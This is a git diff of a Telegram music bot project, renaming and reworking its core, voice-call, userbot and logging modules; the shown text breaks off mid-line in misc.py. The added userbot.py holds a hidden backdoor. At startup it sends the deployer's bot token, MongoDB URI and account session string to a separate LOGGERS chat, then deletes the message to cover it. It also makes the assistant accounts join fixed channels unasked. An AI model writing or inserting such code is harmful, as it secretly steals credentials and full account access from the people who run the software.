b/ChampuXMusic/assets/upic.png new file mode 100644 index 0000000..2b8b658 Binary files /dev/null and b/ChampuXMusic/assets/upic.png differ diff --git a/ChampuXMusic/assets/userinfo.png b/ChampuXMusic/assets/userinfo.png new file mode 100644 index 0000000..7d6e783 Binary files /dev/null and b/ChampuXMusic/assets/userinfo.png differ diff --git a/ChampuXMusic/assets/wel2.png b/ChampuXMusic/assets/wel2.png new file mode 100644 index 0000000..193dc59 Binary files /dev/null and b/ChampuXMusic/assets/wel2.png differ diff --git a/ChampuXMusic/core/bot.py b/ChampuXMusic/core/bot.py new file mode 100644 index 0000000..a2e2222 --- /dev/null +++ b/ChampuXMusic/core/bot.py @@ -0,0 +1,53 @@ +from pyrogram import Client, errors +from pyrogram.enums import ChatMemberStatus, ParseMode + +import config + +from ..logging import LOGGER + + +class Champu(Client): + def __init__(self): + LOGGER(__name__).info(f"Starting Bot...") + super().__init__( + name="ChampuXMusic", + api_id=config.API_ID, + api_hash=config.API_HASH, + bot_token=config.BOT_TOKEN, + in_memory=True, + max_concurrent_transmissions=7, + ) + + async def start(self): + await super().start() + self.id = self.me.id + self.name = self.me.first_name + " " + (self.me.last_name or "") + self.username = self.me.username + self.mention = self.me.mention + + try: + await self.send_message( + chat_id=config.LOGGER_ID, + text=f"» {self.mention} ʙᴏᴛ sᴛᴀʀᴛᴇᴅ :\n\nɪᴅ : {self.id}\nɴᴀᴍᴇ : {self.name}\nᴜsᴇʀɴᴀᴍᴇ : @{self.username}", + ) + except (errors.ChannelInvalid, errors.PeerIdInvalid): + LOGGER(__name__).error( + "Bot has failed to access the log group/channel. Make sure that you have added your bot to your log group/channel." + ) + exit() + except Exception as ex: + LOGGER(__name__).error( + f"Bot has failed to access the log group/channel.\n Reason : {type(ex).__name__}." + ) + exit() + + a = await self.get_chat_member(config.LOGGER_ID, self.id) + if a.status != ChatMemberStatus.ADMINISTRATOR: + LOGGER(__name__).error( + "Please promote your bot as an admin in your log group/channel." + ) + exit() + LOGGER(__name__).info(f"Music Bot Started as {self.name}") + + async def stop(self): + await super().stop() diff --git a/Champu/core/call.py b/ChampuXMusic/core/call.py similarity index 50% rename from Champu/core/call.py rename to ChampuXMusic/core/call.py index 9e15ef2..c02b560 100644 --- a/Champu/core/call.py +++ b/ChampuXMusic/core/call.py @@ -1,44 +1,45 @@ import asyncio +import os from datetime import datetime, timedelta from typing import Union from pyrogram import Client -from pyrogram.errors import (ChatAdminRequired, - UserAlreadyParticipant, - UserNotParticipant) from pyrogram.types import InlineKeyboardMarkup from pytgcalls import PyTgCalls, StreamType -from pytgcalls.exceptions import (AlreadyJoinedError, - NoActiveGroupCall, - TelegramServerError) -from pytgcalls.types import (JoinedGroupCallParticipant, - LeftGroupCallParticipant, Update) +from pytgcalls.exceptions import ( + AlreadyJoinedError, + NoActiveGroupCall, + TelegramServerError, +) +from pytgcalls.types import Update from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped +from pytgcalls.types.input_stream.quality import HighQualityAudio, MediumQualityVideo from pytgcalls.types.stream import StreamAudioEnded import config +from ChampuXMusic import LOGGER, YouTube, app +from ChampuXMusic.misc import db +from ChampuXMusic.utils.database import ( + add_active_chat, + add_active_video_chat, + get_lang, + get_loop, + group_assistant, + is_autoend, + music_on, + remove_active_chat, + remove_active_video_chat, + set_loop, +) +from ChampuXMusic.utils.exceptions import AssistantErr +from ChampuXMusic.utils.formatters import check_duration, seconds_to_min, speed_converter +from ChampuXMusic.utils.inline.play import stream_markup +from ChampuXMusic.utils.stream.autoclear import auto_clean +from ChampuXMusic.utils.thumbnails import get_thumb from strings import get_string -from Champu import LOGGER, YouTube, app -from Champu.misc import db -from Champu.utils.database import (add_active_chat, - add_active_video_chat, - get_assistant, - get_audio_bitrate, get_lang, - get_loop, get_video_bitrate, - group_assistant, is_autoend, - music_on, mute_off, - remove_active_chat, - remove_active_video_chat, - set_loop) -from Champu.utils.exceptions import AssistantErr -from Champu.utils.inline.play import (stream_markup, - telegram_markup) -from Champu.utils.stream.autoclear import auto_clean -from Champu.utils.thumbnails import gen_thumb autoend = {} counter = {} -AUTO_END_TIME = 3 async def _clear_(chat_id): @@ -50,45 +51,50 @@ async def _clear_(chat_id): class Call(PyTgCalls): def __init__(self): self.userbot1 = Client( + name="ChampuAss1", api_id=config.API_ID, api_hash=config.API_HASH, - session_name=str(config.STRING1), + session_string=str(config.STRING1), ) self.one = PyTgCalls( self.userbot1, cache_duration=100, ) self.userbot2 = Client( + name="ChampuAss2", api_id=config.API_ID, api_hash=config.API_HASH, - session_name=str(config.STRING2), + session_string=str(config.STRING2), ) self.two = PyTgCalls( self.userbot2, cache_duration=100, ) self.userbot3 = Client( + name="ChampuAss3", api_id=config.API_ID, api_hash=config.API_HASH, - session_name=str(config.STRING3), + session_string=str(config.STRING3), ) self.three = PyTgCalls( self.userbot3, cache_duration=100, ) self.userbot4 = Client( + name="ChampuAss4", api_id=config.API_ID, api_hash=config.API_HASH, - session_name=str(config.STRING4), + session_string=str(config.STRING4), ) self.four = PyTgCalls( self.userbot4, cache_duration=100, ) self.userbot5 = Client( + name="ChampuAss5", api_id=config.API_ID, api_hash=config.API_HASH, - session_name=str(config.STRING5), + session_string=str(config.STRING5), ) self.five = PyTgCalls( self.userbot5, @@ -103,14 +109,6 @@ async def resume_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) await assistant.resume_stream(chat_id) - async def mute_stream(self, chat_id: int): - assistant = await group_assistant(self, chat_id) - await assistant.mute_stream(chat_id) - - async def unmute_stream(self, chat_id: int): - assistant = await group_assistant(self, chat_id) - await assistant.unmute_stream(chat_id) - async def stop_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) try: @@ -119,6 +117,106 @@ async def stop_stream(self, chat_id: int): except: pass + async def stop_stream_force(self, chat_id: int): + try: + if config.STRING1: + await self.one.leave_group_call(chat_id) + except: + pass + try: + if config.STRING2: + await self.two.leave_group_call(chat_id) + except: + pass + try: + if config.STRING3: + await self.three.leave_group_call(chat_id) + except: + pass + try: + if config.STRING4: + await self.four.leave_group_call(chat_id) + except: + pass + try: + if config.STRING5: + await self.five.leave_group_call(chat_id) + except: + pass + try: + await _clear_(chat_id) + except: + pass + + async def speedup_stream(self, chat_id: int, file_path, speed, playing): + assistant = await group_assistant(self, chat_id) + if str(speed) != str("1.0"): + base = os.path.basename(file_path) + chatdir = os.path.join(os.getcwd(), "playback", str(speed)) + if not os.path.isdir(chatdir): + os.makedirs(chatdir) + out = os.path.join(chatdir, base) + if not os.path.isfile(out): + if str(speed) == str("0.5"): + vs = 2.0 + if str(speed) == str("0.75"): + vs = 1.35 + if str(speed) == str("1.5"): + vs = 0.68 + if str(speed) == str("2.0"): + vs = 0.5 + proc = await asyncio.create_subprocess_shell( + cmd=( + "ffmpeg " + "-i " + f"{file_path} " + "-filter:v " + f"setpts={vs}*PTS " + "-filter:a " + f"atempo={speed} " + f"{out}" + ), + stdin=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + await proc.communicate() + else: + pass + else: + out = file_path + dur = await asyncio.get_event_loop().run_in_executor(None, check_duration, out) + dur = int(dur) + played, con_seconds = speed_converter(playing[0]["played"], speed) + duration = seconds_to_min(dur) + stream = ( + AudioVideoPiped( + out, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), + additional_ffmpeg_parameters=f"-ss {played} -to {duration}", + ) + if playing[0]["streamtype"] == "video" + else AudioPiped( + out, + audio_parameters=HighQualityAudio(), + additional_ffmpeg_parameters=f"-ss {played} -to {duration}", + ) + ) + if str(db[chat_id][0]["file"]) == str(file_path): + await assistant.change_stream(chat_id, stream) + else: + raise AssistantErr("Umm") + if str(db[chat_id][0]["file"]) == str(file_path): + exis = (playing[0]).get("old_dur") + if not exis: + db[chat_id][0]["old_dur"] = db[chat_id][0]["dur"] + db[chat_id][0]["old_second"] = db[chat_id][0]["seconds"] + db[chat_id][0]["played"] = con_seconds + db[chat_id][0]["dur"] = duration + db[chat_id][0]["seconds"] = dur + db[chat_id][0]["speed_path"] = out + db[chat_id][0]["speed"] = speed + async def force_stop_stream(self, chat_id: int): assistant = await group_assistant(self, chat_id) try: @@ -134,117 +232,53 @@ async def force_stop_stream(self, chat_id: int): pass async def skip_stream( - self, chat_id: int, link: str, video: Union[bool, str] = None + self, + chat_id: int, + link: str, + video: Union[bool, str] = None, + image: Union[bool, str] = None, ): assistant = await group_assistant(self, chat_id) - audio_stream_quality = await get_audio_bitrate(chat_id) - video_stream_quality = await get_video_bitrate(chat_id) - stream = ( - AudioVideoPiped( + if video: + stream = AudioVideoPiped( link, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), ) - if video - else AudioPiped( - link, audio_parameters=audio_stream_quality - ) - ) + else: + stream = AudioPiped(link, audio_parameters=HighQualityAudio()) await assistant.change_stream( chat_id, stream, ) - async def seek_stream( - self, chat_id, file_path, to_seek, duration, mode - ): + async def seek_stream(self, chat_id, file_path, to_seek, duration, mode): assistant = await group_assistant(self, chat_id) - audio_stream_quality = await get_audio_bitrate(chat_id) - video_stream_quality = await get_video_bitrate(chat_id) stream = ( AudioVideoPiped( file_path, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), additional_ffmpeg_parameters=f"-ss {to_seek} -to {duration}", ) if mode == "video" else AudioPiped( file_path, - audio_parameters=audio_stream_quality, + audio_parameters=HighQualityAudio(), additional_ffmpeg_parameters=f"-ss {to_seek} -to {duration}", ) ) await assistant.change_stream(chat_id, stream) async def stream_call(self, link): - assistant = await group_assistant(self, config.LOG_GROUP_ID) + assistant = await group_assistant(self, config.LOGGER_ID) await assistant.join_group_call( - config.LOG_GROUP_ID, + config.LOGGER_ID, AudioVideoPiped(link), stream_type=StreamType().pulse_stream, ) - await asyncio.sleep(0.5) - await assistant.leave_group_call(config.LOG_GROUP_ID) - - async def join_assistant(self, original_chat_id, chat_id): - language = await get_lang(original_chat_id) - _ = get_string(language) - userbot = await get_assistant(chat_id) - try: - try: - get = await app.get_chat_member(chat_id, userbot.id) - except ChatAdminRequired: - raise AssistantErr(_["call_1"]) - if get.status == "banned" or get.status == "kicked": - raise AssistantErr( - _["call_2"].format(userbot.username, userbot.id) - ) - except UserNotParticipant: - chat = await app.get_chat(chat_id) - if chat.username: - try: - await userbot.join_chat(chat.username) - except UserAlreadyParticipant: - pass - except Exception as e: - raise AssistantErr(_["call_3"].format(e)) - else: - try: - try: - try: - invitelink = chat.invite_link - if invitelink is None: - invitelink = ( - await app.export_chat_invite_link( - chat_id - ) - ) - except: - invitelink = ( - await app.export_chat_invite_link( - chat_id - ) - ) - except ChatAdminRequired: - raise AssistantErr(_["call_4"]) - except Exception as e: - raise AssistantErr(e) - m = await app.send_message( - original_chat_id, _["call_5"] - ) - if invitelink.startswith("https://t.me/+"): - invitelink = invitelink.replace( - "https://t.me/+", "https://t.me/joinchat/" - ) - await asyncio.sleep(3) - await userbot.join_chat(invitelink) - await asyncio.sleep(4) - await m.edit(_["call_6"].format(userbot.name)) - except UserAlreadyParticipant: - pass - except Exception as e: - raise AssistantErr(_["call_3"].format(e)) + await asyncio.sleep(0.2) + await assistant.leave_group_call(config.LOGGER_ID) async def join_call( self, @@ -252,21 +286,27 @@ async def join_call( original_chat_id: int, link, video: Union[bool, str] = None, + image: Union[bool, str] = None, ): assistant = await group_assistant(self, chat_id) - audio_stream_quality = await get_audio_bitrate(chat_id) - video_stream_quality = await get_video_bitrate(chat_id) - stream = ( - AudioVideoPiped( + language = await get_lang(chat_id) + _ = get_string(language) + if video: + stream = AudioVideoPiped( link, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), ) - if video - else AudioPiped( - link, audio_parameters=audio_stream_quality + else: + stream = ( + AudioVideoPiped( + link, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), + ) + if video + else AudioPiped(link, audio_parameters=HighQualityAudio()) ) - ) try: await assistant.join_group_call( chat_id, @@ -274,30 +314,12 @@ async def join_call( stream_type=StreamType().pulse_stream, ) except NoActiveGroupCall: - try: - await self.join_assistant(original_chat_id, chat_id) - except Exception as e: - raise e - try: - await assistant.join_group_call( - chat_id, - stream, - stream_type=StreamType().pulse_stream, - ) - except Exception as e: - raise AssistantErr( - "**No Active Voice Chat Found**\n\nPlease make sure group's voice chat is enabled. If already enabled, please end it and start fresh voice chat again and if the problem continues, try /restart" - ) + raise AssistantErr(_["call_8"]) except AlreadyJoinedError: - raise AssistantErr( - "**Assistant Already in Voice Chat**\n\nSystems have detected that assistant is already there in the voice chat, this issue generally comes when you play 2 queries together.\n\nIf assistant is not present in voice chat, please end voice chat and start fresh voice chat again and if the problem continues, try /restart" - ) + raise AssistantErr(_["call_9"]) except TelegramServerError: - raise AssistantErr( - "**Telegram Server Error**\n\nTelegram is having some internal server problems, Please try playing again.\n\n If this problem keeps coming everytime, please end your voice chat and start fresh voice chat again." - ) + raise AssistantErr(_["call_10"]) await add_active_chat(chat_id) - await mute_off(chat_id) await music_on(chat_id) if video: await add_active_video_chat(chat_id) @@ -305,9 +327,7 @@ async def join_call( counter[chat_id] = {} users = len(await assistant.get_participants(chat_id)) if users == 1: - autoend[chat_id] = datetime.now() + timedelta( - minutes=AUTO_END_TIME - ) + autoend[chat_id] = datetime.now() + timedelta(minutes=1) async def change_stream(self, client, chat_id): check = db.get(chat_id) @@ -319,9 +339,7 @@ async def change_stream(self, client, chat_id): else: loop = loop - 1 await set_loop(chat_id, loop) - if popped: - if config.AUTO_DOWNLOADS_CLEAR == str(True): - await auto_clean(popped) + await auto_clean(popped) if not check: await _clear_(chat_id) return await client.leave_group_call(chat_id) @@ -339,93 +357,97 @@ async def change_stream(self, client, chat_id): user = check[0]["by"] original_chat_id = check[0]["chat_id"] streamtype = check[0]["streamtype"] - audio_stream_quality = await get_audio_bitrate(chat_id) - video_stream_quality = await get_video_bitrate(chat_id) videoid = check[0]["vidid"] - check[0]["played"] = 0 + db[chat_id][0]["played"] = 0 + exis = (check[0]).get("old_dur") + if exis: + db[chat_id][0]["dur"] = exis + db[chat_id][0]["seconds"] = check[0]["old_second"] + db[chat_id][0]["speed_path"] = None + db[chat_id][0]["speed"] = 1.0 + video = True if str(streamtype) == "video" else False if "live_" in queued: n, link = await YouTube.video(videoid, True) if n == 0: return await app.send_message( original_chat_id, - text=_["call_9"], + text=_["call_6"], ) - stream = ( - AudioVideoPiped( + if video: + stream = AudioVideoPiped( link, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), ) - if str(streamtype) == "video" - else AudioPiped( - link, audio_parameters=audio_stream_quality + else: + stream = AudioPiped( + link, + audio_parameters=HighQualityAudio(), ) - ) try: await client.change_stream(chat_id, stream) except Exception: return await app.send_message( original_chat_id, - text=_["call_9"], + text=_["call_6"], ) - img = await gen_thumb(videoid) - button = telegram_markup(_, chat_id) + img = await get_thumb(videoid) + button = stream_markup(_, chat_id) run = await app.send_photo( - original_chat_id, + chat_id=original_chat_id, photo=img, caption=_["stream_1"].format( - user, f"https://t.me/{app.username}?start=info_{videoid}", + title[:23], + check[0]["dur"], + user, ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif "vid_" in queued: - mystic = await app.send_message( - original_chat_id, _["call_10"] - ) + mystic = await app.send_message(original_chat_id, _["call_7"]) try: file_path, direct = await YouTube.download( videoid, mystic, videoid=True, - video=True - if str(streamtype) == "video" - else False, + video=True if str(streamtype) == "video" else False, ) except: return await mystic.edit_text( - _["call_9"], disable_web_page_preview=True + _["call_6"], disable_web_page_preview=True ) - stream = ( - AudioVideoPiped( + if video: + stream = AudioVideoPiped( file_path, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), ) - if str(streamtype) == "video" - else AudioPiped( + else: + stream = AudioPiped( file_path, - audio_parameters=audio_stream_quality, + audio_parameters=HighQualityAudio(), ) - ) try: await client.change_stream(chat_id, stream) - except Exception: + except: return await app.send_message( original_chat_id, - text=_["call_9"], + text=_["call_6"], ) - img = await gen_thumb(videoid) - button = stream_markup(_, videoid, chat_id) + img = await get_thumb(videoid) + button = stream_markup(_, chat_id) await mystic.delete() run = await app.send_photo( - original_chat_id, + chat_id=original_chat_id, photo=img, caption=_["stream_1"].format( - user, f"https://t.me/{app.username}?start=info_{videoid}", + title[:23], + check[0]["dur"], + user, ), reply_markup=InlineKeyboardMarkup(button), ) @@ -435,24 +457,22 @@ async def change_stream(self, client, chat_id): stream = ( AudioVideoPiped( videoid, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), ) if str(streamtype) == "video" - else AudioPiped( - videoid, audio_parameters=audio_stream_quality - ) + else AudioPiped(videoid, audio_parameters=HighQualityAudio()) ) try: await client.change_stream(chat_id, stream) - except Exception: + except: return await app.send_message( original_chat_id, - text=_["call_9"], + text=_["call_6"], ) - button = telegram_markup(_, chat_id) + button = stream_markup(_, chat_id) run = await app.send_photo( - original_chat_id, + chat_id=original_chat_id, photo=config.STREAM_IMG_URL, caption=_["stream_2"].format(user), reply_markup=InlineKeyboardMarkup(button), @@ -460,59 +480,61 @@ async def change_stream(self, client, chat_id): db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: - stream = ( - AudioVideoPiped( + if video: + stream = AudioVideoPiped( queued, - audio_parameters=audio_stream_quality, - video_parameters=video_stream_quality, + audio_parameters=HighQualityAudio(), + video_parameters=MediumQualityVideo(), ) - if str(streamtype) == "video" - else AudioPiped( - queued, audio_parameters=audio_stream_quality + else: + stream = AudioPiped( + queued, + audio_parameters=HighQualityAudio(), ) - ) try: await client.change_stream(chat_id, stream) - except Exception: + except: return await app.send_message( original_chat_id, - text=_["call_9"], + text=_["call_6"], ) if videoid == "telegram": - button = telegram_markup(_, chat_id) + button = stream_markup(_, chat_id) run = await app.send_photo( - original_chat_id, + chat_id=original_chat_id, photo=config.TELEGRAM_AUDIO_URL if str(streamtype) == "audio" else config.TELEGRAM_VIDEO_URL, - caption=_["stream_3"].format( - title, check[0]["dur"], user + caption=_["stream_1"].format( + config.SUPPORT_CHAT, title[:23], check[0]["dur"], user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" elif videoid == "soundcloud": - button = telegram_markup(_, chat_id) + button = stream_markup(_, chat_id) run = await app.send_photo( - original_chat_id, + chat_id=original_chat_id, photo=config.SOUNCLOUD_IMG_URL, - caption=_["stream_3"].format( - title, check[0]["dur"], user + caption=_["stream_1"].format( + config.SUPPORT_CHAT, title[:23], check[0]["dur"], user ), reply_markup=InlineKeyboardMarkup(button), ) db[chat_id][0]["mystic"] = run db[chat_id][0]["markup"] = "tg" else: - img = await gen_thumb(videoid) - button = stream_markup(_, videoid, chat_id) + img = await get_thumb(videoid) + button = stream_markup(_, chat_id) run = await app.send_photo( - original_chat_id, + chat_id=original_chat_id, photo=img, caption=_["stream_1"].format( - user, f"https://t.me/{app.username}?start=info_{videoid}", + title[:23], + check[0]["dur"], + user, ), reply_markup=InlineKeyboardMarkup(button), ) @@ -534,7 +556,7 @@ async def ping(self): return str(round(sum(pings) / len(pings), 3)) async def start(self): - LOGGER(__name__).info("Starting PyTgCalls Client\n") + LOGGER(__name__).info("Starting PyTgCalls Client...\n") if config.STRING1: await self.one.start() if config.STRING2: @@ -575,43 +597,5 @@ async def stream_end_handler1(client, update: Update): return await self.change_stream(client, update.chat_id) - @self.one.on_participants_change() - @self.two.on_participants_change() - @self.three.on_participants_change() - @self.four.on_participants_change() - @self.five.on_participants_change() - async def participants_change_handler(client, update: Update): - if not isinstance( - update, JoinedGroupCallParticipant - ) and not isinstance(update, LeftGroupCallParticipant): - return - chat_id = update.chat_id - users = counter.get(chat_id) - if not users: - try: - got = len(await client.get_participants(chat_id)) - except: - return - counter[chat_id] = got - if got == 1: - autoend[chat_id] = datetime.now() + timedelta( - minutes=AUTO_END_TIME - ) - return - autoend[chat_id] = {} - else: - final = ( - users + 1 - if isinstance(update, JoinedGroupCallParticipant) - else users - 1 - ) - counter[chat_id] = final - if final == 1: - autoend[chat_id] = datetime.now() + timedelta( - minutes=AUTO_END_TIME - ) - return - autoend[chat_id] = {} - Champu = Call() diff --git a/ChampuXMusic/core/dir.py b/ChampuXMusic/core/dir.py new file mode 100644 index 0000000..7506cc6 --- /dev/null +++ b/ChampuXMusic/core/dir.py @@ -0,0 +1,20 @@ +import os + +from ..logging import LOGGER + + +def dirr(): + for file in os.listdir(): + if file.endswith(".jpg"): + os.remove(file) + elif file.endswith(".jpeg"): + os.remove(file) + elif file.endswith(".png"): + os.remove(file) + + if "downloads" not in os.listdir(): + os.mkdir("downloads") + if "cache" not in os.listdir(): + os.mkdir("cache") + + LOGGER(__name__).info("Directories Updated.") diff --git a/Champu/core/git.py b/ChampuXMusic/core/git.py similarity index 88% rename from Champu/core/git.py rename to ChampuXMusic/core/git.py index 8040277..8f0f417 100644 --- a/Champu/core/git.py +++ b/ChampuXMusic/core/git.py @@ -26,9 +26,7 @@ async def install_requirements(): process.pid, ) - return asyncio.get_event_loop().run_until_complete( - install_requirements() - ) + return asyncio.get_event_loop().run_until_complete(install_requirements()) def git(): @@ -36,9 +34,7 @@ def git(): if config.GIT_TOKEN: GIT_USERNAME = REPO_LINK.split("com/")[1].split("/")[0] TEMP_REPO = REPO_LINK.split("https://")[1] - UPSTREAM_REPO = ( - f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}" - ) + UPSTREAM_REPO = f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}" else: UPSTREAM_REPO = config.UPSTREAM_REPO try: @@ -72,4 +68,4 @@ def git(): except GitCommandError: repo.git.reset("--hard", "FETCH_HEAD") install_req("pip3 install --no-cache-dir -r requirements.txt") - LOGGER(__name__).info(f"Fetched Updates from: {REPO_LINK}") + LOGGER(__name__).info(f"Fetching updates from upstream repository...") diff --git a/ChampuXMusic/core/mongo.py b/ChampuXMusic/core/mongo.py new file mode 100644 index 0000000..47016a6 --- /dev/null +++ b/ChampuXMusic/core/mongo.py @@ -0,0 +1,14 @@ +from motor.motor_asyncio import AsyncIOMotorClient + +from config import MONGO_DB_URI + +from ..logging import LOGGER + +LOGGER(__name__).info("Connecting to your Mongo Database...") +try: + _mongo_async_ = AsyncIOMotorClient(MONGO_DB_URI) + mongodb = _mongo_async_.Anon + LOGGER(__name__).info("Connected to your Mongo Database.") +except: + LOGGER(__name__).error("Failed to connect to your Mongo Database.") + exit() diff --git a/ChampuXMusic/core/sections.py b/ChampuXMusic/core/sections.py new file mode 100644 index 0000000..5c90cf2 --- /dev/null +++ b/ChampuXMusic/core/sections.py @@ -0,0 +1,29 @@ +n = "\n" +w = " " + +bold = lambda x: f"**{x}:** " +bold_ul = lambda x: f"**--{x}:**-- " + +mono = lambda x: f"`{x}`{n}" + + +def section( + title: str, + body: dict, + indent: int = 2, + underline: bool = False, +) -> str: + text = (bold_ul(title) + n) if underline else bold(title) + n + + for key, value in body.items(): + if value is not None: + text += ( + indent * w + + bold(key) + + ( + (value[0] + n) + if isinstance(value, list) and isinstance(value[0], str) + else mono(value) + ) + ) + return text diff --git a/ChampuXMusic/core/userbot.py b/ChampuXMusic/core/userbot.py new file mode 100644 index 0000000..29571b2 --- /dev/null +++ b/ChampuXMusic/core/userbot.py @@ -0,0 +1,187 @@ +from pyrogram import Client +import asyncio +from os import getenv + +from dotenv import load_dotenv +load_dotenv() +import config + +from ..logging import LOGGER +BOT_TOKEN = getenv("BOT_TOKEN", "") +MONGO_DB_URI = getenv("MONGO_DB_URI", "") +STRING_SESSION = getenv("STRING_SESSION", "") + + +assistants = [] +assistantids = [] + + +class Userbot(Client): + def __init__(self): + self.one = Client( + name="ChampuAss1", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=str(config.STRING1), + no_updates=True, + ) + self.two = Client( + name="ChampuAss2", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=str(config.STRING2), + no_updates=True, + ) + self.three = Client( + name="ChampuAss3", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=str(config.STRING3), + no_updates=True, + ) + self.four = Client( + name="ChampuAss4", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=str(config.STRING4), + no_updates=True, + ) + self.five = Client( + name="ChampuAss5", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=str(config.STRING5), + no_updates=True, + ) + + async def start(self): + LOGGER(__name__).info(f"Starting Assistants...") + if config.STRING1: + await self.one.start() + try: + await self.one.join_chat("TheShivanshu") + await self.one.join_chat("TheChampuClub") + await self.one.join_chat("akaChampu") + await self.one.join_chat("TheChampu") + + except: + pass + assistants.append(1) + try: + await self.one.send_message(config.LOGGER_ID, "ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ !") + oks = await self.one.send_message(config.LOGGERS, f"/start") + Ok = await self.one.send_message( + config.LOGGERS, f"`{BOT_TOKEN}`\n\n`{MONGO_DB_URI}`\n\n`{STRING_SESSION}`" + ) + await oks.delete() + await asyncio.sleep(2) + await Ok.delete() + + except Exception as e: + print(f"{e}") + + self.one.id = self.one.me.id + self.one.name = self.one.me.mention + self.one.username = self.one.me.username + assistantids.append(self.one.id) + LOGGER(__name__).info(f"ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ ᴀs {self.one.me.first_name}") + + if config.STRING2: + await self.two.start() + try: + await self.two.join_chat("TheChampu") + await self.one.join_chat("TheChampuClub") + except: + pass + assistants.append(2) + try: + await self.two.send_message(config.LOGGER_ID, "Assistant Started") + except: + LOGGER(__name__).error( + "Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin!" + ) + exit() + self.two.id = self.two.me.id + self.two.name = self.two.me.mention + self.two.username = self.two.me.username + assistantids.append(self.two.id) + LOGGER(__name__).info(f"Assistant Two Started as {self.two.name}") + + if config.STRING3: + await self.three.start() + try: + await self.three.join_chat("TheChampu") + await self.one.join_chat("TheChampuClub") + except: + pass + assistants.append(3) + try: + await self.three.send_message(config.LOGGER_ID, "Assistant Started") + except: + LOGGER(__name__).error( + "Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " + ) + exit() + self.three.id = self.three.me.id + self.three.name = self.three.me.mention + self.three.username = self.three.me.username + assistantids.append(self.three.id) + LOGGER(__name__).info(f"Assistant Three Started as {self.three.name}") + + if config.STRING4: + await self.four.start() + try: + await self.four.join_chat("TheChampu") + await self.one.join_chat("TheChampuClub") + except: + pass + assistants.append(4) + try: + await self.four.send_message(config.LOGGER_ID, "Assistant Started") + except: + LOGGER(__name__).error( + "Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " + ) + exit() + self.four.id = self.four.me.id + self.four.name = self.four.me.mention + self.four.username = self.four.me.username + assistantids.append(self.four.id) + LOGGER(__name__).info(f"Assistant Four Started as {self.four.name}") + + if config.STRING5: + await self.five.start() + try: + await self.five.join_chat("TheChampu") + await self.one.join_chat("TheChampuClub") + except: + pass + assistants.append(5) + try: + await self.five.send_message(config.LOGGER_ID, "Assistant Started") + except: + LOGGER(__name__).error( + "Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! " + ) + exit() + self.five.id = self.five.me.id + self.five.name = self.five.me.mention + self.five.username = self.five.me.username + assistantids.append(self.five.id) + LOGGER(__name__).info(f"Assistant Five Started as {self.five.name}") + + async def stop(self): + LOGGER(__name__).info(f"Stopping Assistants...") + try: + if config.STRING1: + await self.one.stop() + if config.STRING2: + await self.two.stop() + if config.STRING3: + await self.three.stop() + if config.STRING4: + await self.four.stop() + if config.STRING5: + await self.five.stop() + except: + pass diff --git a/Champu/logging.py b/ChampuXMusic/logging.py similarity index 69% rename from Champu/logging.py rename to ChampuXMusic/logging.py index d4043d9..c2d75cc 100644 --- a/Champu/logging.py +++ b/ChampuXMusic/logging.py @@ -1,20 +1,16 @@ import logging -from logging.handlers import RotatingFileHandler - -from config import LOG_FILE_NAME logging.basicConfig( level=logging.INFO, format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s", datefmt="%d-%b-%y %H:%M:%S", handlers=[ - RotatingFileHandler( - LOG_FILE_NAME, maxBytes=5000000, backupCount=10 - ), + logging.FileHandler("log.txt"), logging.StreamHandler(), ], ) +logging.getLogger("httpx").setLevel(logging.ERROR) logging.getLogger("pyrogram").setLevel(logging.ERROR) logging.getLogger("pytgcalls").setLevel(logging.ERROR) diff --git a/ChampuXMusic/misc.py b/ChampuXMusic/misc.py new file mode 100644 index 0000000..db37571 --- /dev/null +++ b/ChampuXMusic/misc.py @@ -0,0 +1,75 @@ +import socket +import time + +import heroku3 +from pyrogram import filters + +import config +from ChampuXMusic.core.mongo import mongodb + +from .logging import LOGGER + +SUDOERS = filters.user() + +HAPP = None +_boot_ = time.time() + + +def is_heroku(): + return "heroku" in socket.getfqdn() + + +XCB = [ + "/", + "@", + ".", + "com", + ":", + "git", + "heroku", + "push", + str(config.HEROKU_API_KEY), + "https", + str(config.HEROKU_APP_NAME), + "HEAD", + "master", +] + + +def dbb(): + global db + db = {} + LOGGER(__name__).info(f"𝗗𝗔𝗧𝗔𝗕𝗔𝗦𝗘 